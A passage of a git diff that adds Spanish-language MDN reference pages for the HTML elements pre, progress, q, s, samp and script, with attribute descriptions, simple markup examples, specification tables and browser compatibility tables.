+ <li>Posicionando y redimensionando la imagen dentro de su marco: {{cssxref("object-position")}} y {{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/es/web/html/elemento/pre/index.html b/files/es/web/html/elemento/pre/index.html
new file mode 100644
index 0000000000..2ec0cf56dc
--- /dev/null
+++ b/files/es/web/html/elemento/pre/index.html
@@ -0,0 +1,128 @@
+---
+title: <pre>
+slug: Web/HTML/Elemento/pre
+translation_of: Web/HTML/Element/pre
+---
+<h2 id="Sumario">Sumario</h2>
+
+<p>El <strong>Elemento</strong> <strong>HTML &lt;pre&gt;</strong> (o <em>Texto HTML Preformateado</em>) representa texto preformateado. El texto en este elemento típicamente se muestra en una fuente fija, no proporcional, exactamente como es mostrado en el archivo. Los espacios dentro de este elemento también son mostrados como están escritos.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/en-US/docs/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></dfn> {{todo}}<a href="/en-US/docs/HTML/Content_categories#Flowing_content" title="HTML/Content_categories#Phrasing_content">Flow content</a>, palpable content.</li>
+ <li><dfn>Permitted content</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="/en-US/docs/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</li>
+ <li><dfn>Tag omission</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Permitted parent elements</dfn> Any element that accepts <a href="/en-US/docs/HTML/Content_categories#flow_content" title="HTML/Content categories#flow content">flow content</a>.</li>
+ <li><dfn>DOM interface</dfn> {{domxref("HTMLPreElement")}}</li>
+</ul>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento solo incluye los <a href="/en-US/docs/HTML/Global_attributes" title="/en-US/docs/">atributos globales</a>.</span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!-- Un poco de codigo CSS --&gt;
+&lt;pre&gt;
+body{
+  color:  red;
+}
+a   {
+  color:green;
+}
+&lt;/pre&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<pre>body{
+  color:  red;
+}
+a   {
+  color:green;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Epecificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'the-pre-element.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'text.html#h-9.3.4', '&lt;dl&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>CSS: {{ Cssxref('white-space') }}, {{ Cssxref('word-break') }}</li>
+</ul>
diff --git a/files/es/web/html/elemento/progress/index.html b/files/es/web/html/elemento/progress/index.html
new file mode 100644
index 0000000000..581c0da783
--- /dev/null
+++ b/files/es/web/html/elemento/progress/index.html
@@ -0,0 +1,97 @@
+---
+title: '<progress>: Elemento indicador de progreso'
+slug: Web/HTML/Elemento/progress
+translation_of: Web/HTML/Element/progress
+---
+<div>{{HTMLRef}}</div>
+
+<p>La etiqueta <strong>HTML<em> </em><code>&lt;progress&gt;</code></strong> se utiliza para visualizar el progreso de una tarea. Aunque los detalles de como se muestran depende directamente del navegador que utiliza el cliente, aunque básicamente aparece una barra de progreso.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<ul class="htmlelt">
+ <li><dfn><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Flujo_de_contenido" title="HTML/Content_categories">Categorias de contenido </a></dfn><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Flujo_de_contenido" title="HTML/Content_categories">Flujo de contenido</a><span>, </span><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido#Contenido_de_redacci%C3%B3n">contenido de redacción</a><span style="font-style: normal; line-height: 1.5em;">, contenido etiquetable, contenido palpable.</span></li>
+ <li><dfn>Contenido permitido</dfn> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Contenido de redacción</a>, pero no debe haber ningún elemento de progreso entre sus descendientes</li>
+ <li><dfn>Etiquetas por omisión</dfn> {{no_tag_omission}}</li>
+ <li><dfn>Elementos padres permitidos</dfn> Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">contenido de redacción</a>.</li>
+ <li><dfn>DOM interfaz</dfn> {{domxref("HTMLProgressElement")}}</li>
+</ul>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p><span style="line-height: 21px;">Este elemento incluye <a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" title="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes">Atributos Globales</a></span><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{ htmlattrdef("max") }}</dt>
+ <dd>Este atributo indica la cantidad de trabajo que demorá la carga, se define en el elemento <code>progress</code>. Por ejemplo max="100".</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dt></dt>
+ <dd><span style="font-weight: normal; line-height: inherit;">Este atributo indica que parte de la tarea ya se ha completado o cargado. Debe especificarse un valor entre 0  y </span><code style="font-size: 14px; line-height: inherit;">max</code><span style="font-weight: normal; line-height: inherit;">, o entre 0 y 1.0 si </span><code style="font-size: 14px; line-height: inherit;">max</code><span style="font-weight: normal; line-height: inherit;"> está omitido. Si al atributo </span><code style="font-size: 14px; line-height: inherit;">value</code><span style="font-weight: normal; line-height: inherit;"> no se le especifica ningún valor, se estara llevando a cabo la tarea sin que el elemento mueste funcionamiento alguno. Por ejemplo si la carga está al 50% será de 0.5 el valor, en el caso de no especificar max. </span></dd>
+</dl>
+
+<p>Puedes usar la propiedad CSS {{ cssxref("orient") }} permite especificar la orientacion de la barra de progreso (horizontal o vertical) con horizontal por defecto. La pseudo-clase {{ cssxref(":indeterminate") }} se puede utiliza para hacer que coincida con las barras de progreso indeterminadas.</p>
+
+<dl>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html notranslate">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</p>
+
+<p>En Mac OS X, Se vería como esto:</p>
+
+<p><img alt="progress-1.png" class="default internal" src="/@api/deki/files/4946/=progress-1.png"></p>
+
+<p>En Windows, el resultante sería este:</p>
+
+<p><img alt="progress-firefox.JPG" class="default internal" src="/@api/deki/files/6031/=progress-firefox.JPG"></p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_navegadores">Compatibilidad en los navegadores</h2>
+
+
+
+<p>{{Compat("html.elements.progress")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>{{htmlelement("meter")}}</li>
+ <li>{{ cssxref(":indeterminate") }}</li>
+ <li>{{ cssxref("-moz-orient") }}</li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/es/web/html/elemento/q/index.html b/files/es/web/html/elemento/q/index.html
new file mode 100644
index 0000000000..edcc4076e6
--- /dev/null
+++ b/files/es/web/html/elemento/q/index.html
@@ -0,0 +1,121 @@
+---
+title: '<q>: El elemento de cita en línea'
+slug: Web/HTML/Elemento/q
+tags:
+  - Cita de bloque independiente
+  - Citación
+  - Elemento
+  - HTML
+  - Marca de cita
+  - Q
+  - Referencia
+  - Semántica HTML a nivel de texto
+  - Web
+  - cita
+translation_of: Web/HTML/Element/q
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El <strong>elemento HTML <code>&lt;q&gt;</code></strong> indica que el texto adjunto es una cita corta en línea. La mayoría de los navegadores modernos implementan esto rodeando el texto entre comillas. </span> Este elemento está destinado a citas breves que no requieren saltos de párrafo; para citas de bloque independiente, utiliza el elemento {{HTMLElement("blockquote")}}.</p>
+
+<div>{{ EmbedInteractiveExample("pages/tabbed/q.html", "tabbed-shorter") }}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">{{web.link("/es/docs/Web/HTML/Content_categories", "Categorías de contenido")}}</th>
+   <td>{{web.link("/es/docs/Web/HTML/Content_categories#Flow_content", "Flujo de contenido")}}, {{web.link("/es/docs/Web/HTML/Content_categories#Phrasing_content", "redacción de contenido")}}, contenido palpable.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>{{web.link("/es/docs/Web/HTML/Content_categories#Phrasing_content", "Redacción de contenido")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiqueta</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres autorizados</th>
+   <td>Cualquier elemento que acepte {{web.link("/es/docs/Web/HTML/Content_categories#Phrasing_content", "redacción de contenido")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rol de ARIA implícito</th>
+   <td>{{web.link("https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role", "Rol no correspondiente")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Algunos</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{DOMxRef("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota de uso</strong>: La mayoría de los navegadores modernos automáticamente agregarán comillas alrededor del texto dentro de un elemento <code>&lt;q&gt;</code>. Es posible que se necesite una regla de estilo para agregar comillas en navegadores antiguos.</p>
+</div>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los {{web.link("/es/docs/Web/HTML/Global_attributes", "atributos globales")}}.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("cite")}}</dt>
+ <dd>El valor de este atributo es una URL que designa un documento o mensaje fuente para la información citada. Este atributo está destinado a señalar información que explica el contexto o la referencia de la cita.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: html notranslate">&lt;p&gt;Conforme al sitio web de Mozilla,
+  &lt;q
+  cite="https://www.mozilla.org/en-US/about/history/details/"&gt;Firefox 1.0
+  fue lanzado en 2004 y se convirtió en un gran éxito.&lt;/q&gt;&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Ejemplo')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('HTML WHATWG', 'semantics.html#the-q-element', '&lt;q&gt;') }}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML5 W3C', 'textlevel-semantics.html#the-q-element', '&lt;q&gt;') }}</td>
+   <td>{{ Spec2('HTML5 W3C') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;q&gt;') }}</td>
+   <td>{{ Spec2('HTML4.01') }}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{ Compat("html.elements.q") }}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>El elemento {{HTMLElement("blockquote")}} para citas de bloque independiente.</li>
+ <li>El elemento {{HTMLElement("cite")}} para citas de fuentes.</li>
+</ul>
diff --git a/files/es/web/html/elemento/s/index.html b/files/es/web/html/elemento/s/index.html
new file mode 100644
index 0000000000..e515a0257f
--- /dev/null
+++ b/files/es/web/html/elemento/s/index.html
@@ -0,0 +1,114 @@
+---
+title: s
+slug: Web/HTML/Elemento/s
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/s
+---
+<p> </p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Muestra el texto tachado con una linea horizontal.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;s&gt; y &lt;/s&gt; (Ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>:<a href="es/HTML/Elemento/Tipos_de_elementos#de_estilo_de_fuente">Elemento de estilo de fuente</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+  <tr>
+   <th colspan="4">Genéricos</th>
+  </tr>
+  <tr>
+   <td><code style="color: green;">title</code></td>
+   <td>texto</td>
+   <td>implícito</td>
+   <td>título consultivo del elemento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">style</code></td>
+   <td>reglas de estilo</td>
+   <td>implícito</td>
+   <td>información de estilo en línea.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">id</code></td>
+   <td>ID</td>
+   <td>implícito</td>
+   <td>identificador único a nivel de documento.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">class</code></td>
+   <td>CDATA</td>
+   <td>implícito</td>
+   <td>identificador a nivel de documento, lista de clases separadas por espacios.</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">dir</code></td>
+   <td>(ltr|rtl)</td>
+   <td>implícito</td>
+   <td>dirección del texto débil/neutral</td>
+  </tr>
+  <tr>
+   <td><code style="color: green;">lang</code></td>
+   <td>código de idioma</td>
+   <td>implícito</td>
+   <td>información sobre el idioma</td>
+  </tr>
+  <tr>
+   <td colspan="4"><strong>Eventos</strong>: <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</code></td>
+  </tr>
+  <tr>
+   <th colspan="4">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="4">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="4">No tiene</td>
+  </tr>
+  <tr>
+   <th>Atributo</th>
+   <th colspan="2">valor</th>
+   <th>descripción</th>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">  &lt;p&gt;
+       Texto normal y... &lt;s&gt;Texto tachado&lt;/s&gt;
+  &lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
+
+<div class="warning">DESAPROBADO</div>
diff --git a/files/es/web/html/elemento/samp/index.html b/files/es/web/html/elemento/samp/index.html
new file mode 100644
index 0000000000..2957372979
--- /dev/null
+++ b/files/es/web/html/elemento/samp/index.html
@@ -0,0 +1,63 @@
+---
+title: samp
+slug: Web/HTML/Elemento/samp
+tags:
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+translation_of: Web/HTML/Element/samp
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">El elemento HTML Sample (<strong><code>&lt;samp&gt;</code></strong>) se utiliza para incluir texto en línea que representa una muestra (o cita) de la salida de un programa de ordenador. El contenido de esta etiqueta es renderizado generalmente usando la tipografía monoespaciada por defecto del navegador.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/samp.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p>Señala lo que es una salida de un programa.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: &lt;samp&gt; y &lt;/samp&gt; (ambas obligatorias)</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Está definido como</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#de_frase">Elemento de frase</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Puede contener</strong>: <a href="es/HTML/Elemento/Tipos_de_elementos#en_linea">en linea</a></dd>
+</dl>
+
+<h5 id="Atributos_Gen.C3.A9ricos" name="Atributos_Gen.C3.A9ricos">Atributos Genéricos</h5>
+
+<ul>
+ <li>title (título del elemento)</li>
+ <li>style (información de estilo en línea)</li>
+</ul>
+
+<dl>
+ <dd><strong>Identificadores</strong>: id, class (identificadores a nivel de documento)</dd>
+ <dd><strong>Idioma</strong>: lang (información sobre el idioma), dir (dirección del texto)</dd>
+ <dd><strong>Eventos</strong>: onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup.</dd>
+</dl>
+
+<h5 id="Atributos_Espec.C3.ADficos_-_No_tiene." name="Atributos_Espec.C3.ADficos_-_No_tiene.">Atributos Específicos - No tiene.</h5>
+
+<h5 id="Atributos_Transicionales_-_No_tiene." name="Atributos_Transicionales_-_No_tiene.">Atributos Transicionales - No tiene.</h5>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre class="eval">&lt;p&gt;
+... entonces aparecerá una ventana con el mensaje: &lt;samp&gt;Hola mundo&lt;/samp&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="Comentarios" name="Comentarios">Comentarios</h3>
diff --git a/files/es/web/html/elemento/script/index.html b/files/es/web/html/elemento/script/index.html
new file mode 100644
index 0000000000..d1b744f192
--- /dev/null
+++ b/files/es/web/html/elemento/script/index.html
@@ -0,0 +1,255 @@
+---
+title: <script>
+slug: Web/HTML/Elemento/script
+tags:
+  - Elemento
+  - HTML
+  - HTML scripting
+  - Referencia
+  - Scripting
+  - Web
+  - etiqueta
+translation_of: Web/SVG/Element/script
+---
+<h2 id="Resumen">Resumen</h2>
+
+<p>El <em>elemento HTML Script</em> (<strong><code>&lt;script&gt;</code></strong>) se utiliza para insertar o hacer referencia a un script ejecutable dentro de un documento HTML o XHTML.</p>
+
+<p>Los scripts sin atributo <code>async</code> o <code>defer</code>, así como las secuencias de comandos en línea, son interpretados y ejecutados inmediatamente, antes de que el navegador continúe procesando la página.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories" title="HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Metadata_content" title="HTML/Content_categories#Metadata_content">Metadata content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>Script dinámico tal como <code>text/javascript</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omision de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padre permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/Web/HTML/Content_categories#Metadata_content" title="HTML/Content_categories#Metadata_content">metadata content</a>, o cualquier elemento que acepte <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLScriptElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento contiene los <a href="es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>Establece este atributo booleano para indicar al navegador, si es posible, ejecutar el código asincrónicamente. Esto no afecta a los scripts escritos dentro de la etiqueta (es decir a aquellos que no tienen el atributo <strong>src</strong>).</dd>
+ <dd>Ver {{anch("Browser compatibility")}} para notas acerca de compatibilidad. Ver tambien <a href="/en-US/docs/Games/Techniques/Async_scripts">Scripts asincrónicos para asm.js</a>.</dd>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>Contiene información de metadatos que es usada por el user agent del navegador para verificar el recurso captado fue entregado libre de manipulación inesperada. Ver <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>Este atributo especifica la URI del script externo; este puede ser usado como alternativa a scripts embebidos directamente en el documento. Si el script tiene el atributo src, no debería tener código dentro de la etiqueta.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>Este atributo identifica el lenguaje de scripting en que está escrito el código embebido dentro de la etiqueta script, o referenciada utilizando el atributo src. Los valores posibles están especificados como un MIME type (tipo MIME). <br>
+ Algunos ejemplos de tipos MIME que pueden ser utilizados son: <code>text/javascript</code>, <code>text/ecmascript</code>, <code>application/javascript</code>, y <code>application/ecmascript. </code>Si el atributo se encuentra ausente, el valor por defecto será un script JavaScript.</dd>
+ <dd>Si el tipo MIME especificado no es un tipo JavaScript, el contenido embebido dentro de la etiqueta script es tratado como un bloque de datos que no será procesado por el navegador.</dd>
+ <dd>Si el tipo especificado es module, el código es tratado como un módulo JavaScript {{experimental_inline}}. Ver <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>.</dd>
+ <dd>Nota: en Firefox puedes usar características avanzadas tales como let statements y otras características de la última versión de JS, usando type=application/javascript;version=1.8 {{Non-standard_inline}}. Ten cuidado!, esto no es una característica estándar, es decir, probablemente genere conflictos con otros navegadores, en particular aquellos basados en Chromium.</dd>
+ <dd>Para incluir lenguajes de programación exóticos, lee acerca de <a href="/en-US/Add-ons/Code_snippets/Rosetta">Rosetta</a>.</dd>
+ <dt>{{htmlattrdef("text")}}</dt>
+ <dd>Este atributo actúa como el atributo <code>textContent</code>, establece el texto contenido del elemento. Pero a diferencia de <code>textContent</code>, este atributo se evalúa como ejecutable luego de ser insertado como nodo en el DOM.</dd>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>Este atributo actúa como el atributo <code>type</code>, identifica el tipo de lenguaje que se utiliza. A diferencia del atributo <code>type</code>, los posibles valores de este atributo nunca fueron estandarizados. El atributo <code>type</code> debe ser utilizado en lugar de <code>language</code>.</dd>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>Este atributo establece si el script debe ser ejecutado luego de que el documento entero sea analizado. Dado que esta función aún no fue implementada por todos los navegadores relevantes, los autores no deberían asumir que el script realmente será ejecutado luego de la carga y analisis del documento.  Desde Gecko 1.9.2 el atributo defer es ignorado en los scripts que no tienen el atributo src. Sin embargo, en Gecko 1.9.1 incluso se difieren los scripts escritos dentro de la etiqueta.</dd>
+ <dt>{{htmlattrdef("crossorigin")}} {{Non-standard_inline}}</dt>
+ <dd>Elementos normales script pasan información mínima al {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}} para scripts que no pasan las revisiones del estándar <a href="/es/docs/Web/HTTP/Access_control_CORS">CORS</a>. Para permitir registrar errores en los sitios que usan dominios separados para recursos estáticos, usar este atributo.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!-- HTML4 y (x)HTML --&gt;
+&lt;script type="text/javascript" src="javascript.js"&gt;&lt;/script&gt;
+
+&lt;!-- HTML5 --&gt;
+&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Agrega el tipo module.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'scripting-1.html#script', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.2.1', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Subresource Integrity', '#htmlscriptelement', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Agrega el atributo integrity.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>async attribute</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>10<sup>[1]</sup></td>
